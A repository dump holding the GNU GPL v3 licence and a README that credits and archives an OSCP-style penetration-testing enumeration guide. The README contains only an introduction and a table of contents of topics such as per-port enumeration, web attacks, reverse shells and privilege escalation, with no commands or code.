├── LICENSE └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Enumeration-Guide 2 | Enumeration Guide 3 | 4 | A port of all ports Enumeration Guide. I began working on something similar myself involving excel, until I came into this little gem. The original document can be found here: 5 | 6 | https://github.com/six2dez/OSCP-Human-Guide/blob/master/oscp_human_guide.md 7 | 8 | I decided to archive here for my own use and modification. 9 | 10 | Big shout out to six2dez @ https://github.com/six2dez for putting this list together. 11 | 12 | 13 | 14 | 15 | 16 | Table of Contents 17 | ================= 18 | 19 | * [Recon](#recon) 20 | * [Enumeration AIO](#enumeration-aio) 21 | * [Port 21 - FTP](#port-21---ftp) 22 | * [Port 22 - SSH](#port-22---ssh) 23 | * [Port 25 - Telnet](#port-25---telnet) 24 | * [Port 69 - UDP - TFTP](#port-69---udp---tftp) 25 | * [Kerberos - 88](#kerberos---88) 26 | * [Port 110 - Pop3](#port-110---pop3) 27 | * [Port 111 - Rpcbind](#port-111---rpcbind) 28 | * [Port 135 - MSRPC](#port-135---msrpc) 29 | * [Port 139/445 - SMB](#port-139445---smb) 30 | * [Port 161/162 UDP - SNMP](#port-161162-udp---snmp) 31 | * [LDAP - 389,636](#ldap---389636) 32 | * [HTTPS - 443](#https---443) 33 | * [500 - ISAKMP IKE](#500---isakmp-ike) 34 | * [Port 554 - RTSP](#port-554---rtsp) 35 | * [Port 1030/1032/1033/1038](#port-1030103210331038) 36 | * [MSSQL - 1433](#mssql---1433) 37 | * [Port 1521 - Oracle](#port-1521---oracle) 38 | * [Port 2049 - NFS](#port-2049---nfs) 39 | * [Port 2100 - Oracle XML DB](#port-2100---oracle-xml-db) 40 | * [3306 - MySQL](#3306---mysql) 41 | * [Port 3339 - Oracle web interface](#port-3339---oracle-web-interface) 42 | * [RDP - 3389](#rdp---3389) 43 | * [VNC - 5900](#vnc---5900) 44 | * [Webdav](#webdav) 45 | * [Unknown ports](#unknown-ports) 46 | * [Port 80 - Web server](#port-80---web-server) 47 | * [Url brute force](#url-brute-force) 48 | * [Default/Weak login](#defaultweak-login) 49 | * [LFI/RFI](#lfirfi) 50 | * [SQL-Injection](#sql-injection) 51 | * [XSS](#xss) 52 | * [Sql-login-bypass](#sql-login-bypass) 53 | * [Password brute force - last resort](#password-brute-force---last-resort) 54 | * [Vulnerability analysis](#vulnerability-analysis) 55 | * [BOF](#bof) 56 | * [Find xploits - Searchsploit and google](#find-xploits---searchsploit-and-google) 57 | * [Reverse Shells](#reverse-shells) 58 | * [Privilege escalation](#privilege-escalation) 59 | * [Common](#common) 60 | * [Set up Webserver](#set-up-webserver) 61 | * [Set up FTP Server](#set-up-ftp-server) 62 | * [Set up TFTP](#set-up-tftp) 63 | * [Linux](#linux) 64 | * [Useful commands](#useful-commands) 65 | * [Basic info](#basic-info) 66 | * [Kernel exploits](#kernel-exploits) 67 | * [Programs running as root](#programs-running-as-root) 68 | * [Installed software](#installed-software) 69 | * [Weak/reused/plaintext passwords](#weakreusedplaintext-passwords) 70 | * [Inside service](#inside-service) 71 | * [Suid misconfiguration](#suid-misconfiguration) 72 | * [Unmounted filesystems](#unmounted-filesystems) 73 | * [Cronjob](#cronjob) 74 | * [SSH Keys](#ssh-keys) 75 | * [Bad path configuration](#bad-path-configuration) 76 | * [Find plain passwords](#find-plain-passwords) 77 | * [Scripts](#scripts) 78 | * [SUID](#suid) 79 | * [PS Monitor for cron](#ps-monitor-for-cron) 80 | * [Linux Privesc Tools](#linux-privesc-tools) 81 | * [Windows](#windows) 82 | * [Basic info](#basic-info-1) 83 | * [Kernel exploits](#kernel-exploits-1) 84 | * [Cleartext passwords](#cleartext-passwords) 85 | * [Reconfigure service parameters](#reconfigure-service-parameters) 86 | * [Inside service](#inside-service-1) 87 | * [Programs running as root/system](#programs-running-as-rootsystem) 88 | * [Installed software](#installed-software-1) 89 | * [Scheduled tasks](#scheduled-tasks) 90 | * [Weak passwords](#weak-passwords) 91 | * [Add user and enable RDP](#add-user-and-enable-rdp) 92 | * [Powershell sudo for Windows](#powershell-sudo-for-windows) 93 | * [Windows download with bitsadmin](#windows-download-with-bitsadmin) 94 | * [Windows download with certutil.exe](#windows-download-with-certutilexe) 95 | * [Windows download with powershell](#windows-download-with-powershell) 96 | * [Windows Download from FTP](#windows-download-from-ftp) 97 | * [Windows create SMB Server transfer files](#windows-create-smb-server-transfer-files) 98 | * [Windows download with VBS](#windows-download-with-vbs) 99 | * [Windowss XP SP1 PrivEsc](#windowss-xp-sp1-privesc) 100 | * [Pass The Hash](#pass-the-hash) 101 | * [Scripts](#scripts-1) 102 | * [Useradd](#useradd) 103 